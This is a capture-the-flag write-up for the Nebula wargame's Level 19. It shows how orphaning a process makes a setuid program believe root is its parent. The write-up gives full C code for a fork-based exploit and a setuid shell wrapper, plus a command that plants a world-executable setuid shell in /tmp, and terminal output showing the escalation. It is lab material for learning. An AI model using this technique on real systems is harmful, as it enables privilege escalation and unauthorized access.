In Level 19 we are given the source code of a vulnerable program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
    printf("Unable to check parent process\n");
    exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
    /* If root started us, it is ok to start the shell */

    execve("/bin/sh", argv, envp);
    err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

The only way to execute the shell is if the parent process was started by root and since we are not root, we need to find a way to make that happen. The key is that in Unix if a parent process die while the children are still alive, the children are immediatly relocated and assigned to init process. In our case init was started by root:

level19@nebula:~$ ps -ef | grep init
root         1     0  0 Nov25 ?        00:00:00 /sbin/init
level19  15698 15594  0 11:10 pts/0    00:00:00 grep --color=auto init

So we need to write a program that will start our flag19 program and then kills itself before flag19 checks the parent pid:

level19@nebula:~$ cat shell.c
#include <linux/unistd.h>

void main() {
  setresuid(geteuid(),geteuid(),geteuid());
  system("/bin/sh");
}

and the exploit:

level19@nebula:~$ cat exploit.c
#include <unistd.h>

int main(int argc, char **argv, char **envp) {
    int childPID = fork();
    if(childPID >= 0) { // fork was successful
        if(childPID == 0) { // child process
	    sleep(1);
	    setresuid(geteuid(),geteuid(),geteuid());
	    char *args[] = {"/bin/sh", "-c", "gcc /home/level19/shell.c -o /tmp/shell; chmod 4777 /tmp/shell", NULL};
	    execve("/home/flag19/flag19", args, envp);
        }
    }
    return 0;
}

Now, lets go for the flag:

level19@nebula:~$ ./exploit
level19@nebula:~$ /tmp/shell
sh-4.2$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
sh-4.2$ getflag
You have successfully executed getflag on a target account

Voila!!